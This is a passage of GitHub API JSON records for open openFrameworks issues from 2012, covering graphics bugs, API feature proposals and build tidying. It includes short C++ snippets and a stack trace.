windows","user":{"login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","url":"https://api.github.com/users/jesusgollonet","html_url":"https://github.com/jesusgollonet","followers_url":"https://api.github.com/users/jesusgollonet/followers","following_url":"https://api.github.com/users/jesusgollonet/following","gists_url":"https://api.github.com/users/jesusgollonet/gists{/gist_id}","starred_url":"https://api.github.com/users/jesusgollonet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jesusgollonet/subscriptions","organizations_url":"https://api.github.com/users/jesusgollonet/orgs","repos_url":"https://api.github.com/users/jesusgollonet/repos","events_url":"https://api.github.com/users/jesusgollonet/events{/privacy}","received_events_url":"https://api.github.com/users/jesusgollonet/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-hardware","name":"section-hardware","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2012-08-23T18:11:43Z","updated_at":"2012-08-24T15:17:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"using codeblocks/windows 7 and fresh pull from develop, \n\nwhen testing checkGLSupport I get\n\nOF: OF_VERBOSE: FBO supported\nOF: OF_LOG_NOTICE: ofFbo::checkGLSupport()\nmaxColorAttachments: 8\nmaxDrawBuffers: 8\nmaxSamples: -1\n\nand the app crashes on glGenFrameBuffers...\n\nas far as I can see, it's the same problem as here, \n\nhttp://forum.openframeworks.cc/index.php/topic,6824.0.html\n\nbut I haven't seen any references to GLEE (referenced in the last answer) so I haven't been able to solve it\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1502","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1502/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1502/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1502/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1502","id":6383194,"number":1502,"title":"Feature: ofCamera should be used for internal of view","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-08-22T17:15:24Z","updated_at":"2012-12-29T23:36:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I thought I had posted this already.\nIt would be great if we could have ofCamera do the camera setup in a default OF app. \n\nRight now the code is duplicated. \n\nAlso it could allow the user could do something like: \n\nofCameraRef cam = ofGetCameraRef();\nref.dolly(-200, 0); \n\nIt would also allow for swapping out the current view with a different one. \n\nofSetCamera( newCam ); \n\nor\n\nofSetCamera( newEasyCam ); \n\nThis is actually not really the api I'm proposing. \nJust the overall change I think should be made. \n\nRelates issues:\n#410\n#765\n\n----------\nOne other thing that is more of a bigger question is can we make OF more object orientated? \n\nie instead of: \nofSetCamera( ofCamera cam ); \n\nofGetWindow(0).getContext().setCamera( cam ); \n\nAnyway I think that is for a separate GH issue - but I mention it as OF's global methods list is growing quite quickly and it might be time again to look at namespaces or moving some of the things in a more object orientated direction. \n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1500","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1500/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1500/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1500/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1500","id":6368287,"number":1500,"title":"more vertex points than necessary for curves","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-08-22T03:04:22Z","updated_at":"2012-08-22T03:04:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"if you generate a curve like this:\n\n````c++\nvector control;\n...\nofPath path;\npath.curveTo(control.front());\nfor(int i = 0; i < control.size(); i++) {\n path.curveTo(control[i]);\n}\npath.curveTo(control.back());\nofPolyline polyline = path.getOutline()[0];\ncout << polyline.size() << endl;\n````\n\nthe number of points in the polyline are more than necessary. it looks like at each control point, vertices are doubled up -- except for the beginning, where there is only one vertex.\n\ni discovered this while trying to smoothly interpolate along a polyline, and found that the vertices weren't evenly spaced."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1497","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1497/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1497/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1497/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1497","id":6350830,"number":1497,"title":"Reorganize dev scripts","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2012-08-21T13:55:30Z","updated_at":"2013-02-22T13:50:33Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1497","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1497.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1497.patch"},"body":"This one's for @arturoc: If it's ok, i put those files in `/scripts/dev` into subfolders, cause otherwise it's pretty easy to get confused what file is for what purpose, especially if we get more in the future.\nbtw, what is `android_configure_arm7.sh` for? This one has some paths specific to your machine, and wouldn't it fit better into a `/scripts/android` folder?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1495","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1495/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1495/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1495/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1495","id":6346091,"number":1495,"title":"ofxurlfileloader doesn't have a accept header","user":{"login":"ikillbombs","id":1842262,"avatar_url":"https://secure.gravatar.com/avatar/0e972803504e237e42c9a680885498c8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0e972803504e237e42c9a680885498c8","url":"https://api.github.com/users/ikillbombs","html_url":"https://github.com/ikillbombs","followers_url":"https://api.github.com/users/ikillbombs/followers","following_url":"https://api.github.com/users/ikillbombs/following","gists_url":"https://api.github.com/users/ikillbombs/gists{/gist_id}","starred_url":"https://api.github.com/users/ikillbombs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ikillbombs/subscriptions","organizations_url":"https://api.github.com/users/ikillbombs/orgs","repos_url":"https://api.github.com/users/ikillbombs/repos","events_url":"https://api.github.com/users/ikillbombs/events{/privacy}","received_events_url":"https://api.github.com/users/ikillbombs/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":null,"comments":3,"created_at":"2012-08-21T09:30:13Z","updated_at":"2012-08-22T17:45:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"HI,\n\nI'm trying to parse a json database, but the developer said he doesn't receive an header in the request. Is it possible that there will be a header? Or a possibility to custom add an header. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1493","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1493/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1493/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1493/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1493","id":6314130,"number":1493,"title":"ofPush/Pop()","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-08-19T18:42:59Z","updated_at":"2012-08-21T12:40:39Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Cinder has `ci::gl::push/popModelView()` and `ci::gl::push/popProjection()` which are wrapped by `ci::gl::push/popMatrices`\n\nI think this kind of abstraction is great: starting by teaching people that they need to maintain camera states with `push/popMatrices`, then later showing them how to break that into parts (modelView, and projection).\n\nWhat if we took this a step further with OF, and used `ofPush/Pop()` to mean `ofPush/PopStyle()` + `ofPush/PopMatrix()`?\n\nRight now people wrap drawing code with one call or the other, but once they add an `ofSetColor()` or `ofTranslate()` they sometimes forget to add the other `push/pop`. We could encourage people to avoid this issue, and simplify code at the same time."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1485","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1485/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1485/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1485/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1485","id":6179119,"number":1485,"title":"Hue from ofColor should be 0..360, not 0.255","user":{"login":"liasomething","id":183150,"avatar_url":"https://secure.gravatar.com/avatar/248569b4b21882f854f3a0eee701cc37?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"248569b4b21882f854f3a0eee701cc37","url":"https://api.github.com/users/liasomething","html_url":"https://github.com/liasomething","followers_url":"https://api.github.com/users/liasomething/followers","following_url":"https://api.github.com/users/liasomething/following","gists_url":"https://api.github.com/users/liasomething/gists{/gist_id}","starred_url":"https://api.github.com/users/liasomething/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/liasomething/subscriptions","organizations_url":"https://api.github.com/users/liasomething/orgs","repos_url":"https://api.github.com/users/liasomething/repos","events_url":"https://api.github.com/users/liasomething/events{/privacy}","received_events_url":"https://api.github.com/users/liasomething/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":3,"created_at":"2012-08-12T18:57:47Z","updated_at":"2013-02-11T12:12:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Please can the Hue range be changed to 0 to 360 ?\nIt is really confusing to have the range 0 to 255 for the hue, because Photoshop and also Processing and anything else that i can think of uses 0 to 360."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1480","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1480/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1480/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1480/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1480","id":6173049,"number":1480,"title":"better .plist bundle identifier","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-08-11T21:40:24Z","updated_at":"2012-08-11T21:40:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now the bundle identifier is `com.yourcompany.openFrameworks`\n\nthis means that when people copy/paste error messages, you see a bunch of this. e.g.:\n\n````\n15 com.yourcompany.openFrameworks 0x000e293b testApp::keyPressed(int) + 185 (testApp.cpp:107)\n16 com.yourcompany.openFrameworks 0x00268047 ofNotifyKeyPressed(int) + 73\n17 com.yourcompany.openFrameworks 0x00265ff0 ofAppGlutWindow::special_key_cb(int, int, int) + 22\n18 com.apple.glut 0x00b006c8 -[GLUTView keyDown:] + 376\n19 com.apple.AppKit 0x99a4bce3 -[NSWindow sendEvent:] + 10891\n````\n\nwe should change it to just `com.openFrameworks` maybe"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1479","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1479/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1479/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1479/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1479","id":6147669,"number":1479,"title":"several 1d interpolation functions","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":15,"created_at":"2012-08-10T10:12:58Z","updated_at":"2013-03-09T22:33:08Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1479","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1479.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1479.patch"},"body":"can be easily generalized for any dimension"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1477","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1477/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1477/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1477/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1477","id":6140942,"number":1477,"title":"fix iOS orientation","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":11,"created_at":"2012-08-10T00:20:09Z","updated_at":"2013-02-11T12:16:05Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"currently when setting orientation on ios,\nthe glView remains in portrait mode but everything drawn in the glView is flipped or rotated depending on the specified orientation.\n\na more elegant method would be to rotate and resize the glView directly to a orientation.\nand as far as OF is concerned, its always in OF_ORIENTATION_DEFAULT mode but the glView is adjusted.\nthis way you never have to flip or rotate any coordinates.... which will cut out a lot of orientation bugs which currently exist."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1474","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1474/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1474/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1474/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1474","id":6134380,"number":1474,"title":"ofDrawBitmapString renders incorrectly in an ofFbo ","user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2012-08-09T18:45:45Z","updated_at":"2012-09-06T06:58:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"On the current dev branch, ofDrawBitmapString works fine in a normal drawing context, but it seems to render upside-down when rendered to an ofFbo.\n\n```c++\nmyFbo.begin();\nofDrawBitmapString(\"Hello World!\", 100,100);\nmyFbo.end()\n...\nmyFbo.draw(); // Hello World! will be drawn upside-down.\n```\nwhile normal use works fine.\n\nA quick test is to drop the following into the `fboTrailsExample` in the `drawFboTest()` method:\n\n```c++\n//--------------------------------------------------------------\nvoid testApp::drawFboTest(){\n \n ofDrawBitmapString(\"Hello World!\", 100,100);\n \n\t//we clear the fbo if c is pressed. \n\t//this completely clears the buffer so you won't see any trails\n\tif( ofGetKeyPressed('c') ){\n\t\tofClear(255,255,255, 0);\n\t}\t\n...\n```\n\nLooks like it needs a little vertical flip."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1470","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1470/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1470/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1470/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1470","id":6100728,"number":1470,"title":"Multiwindow using 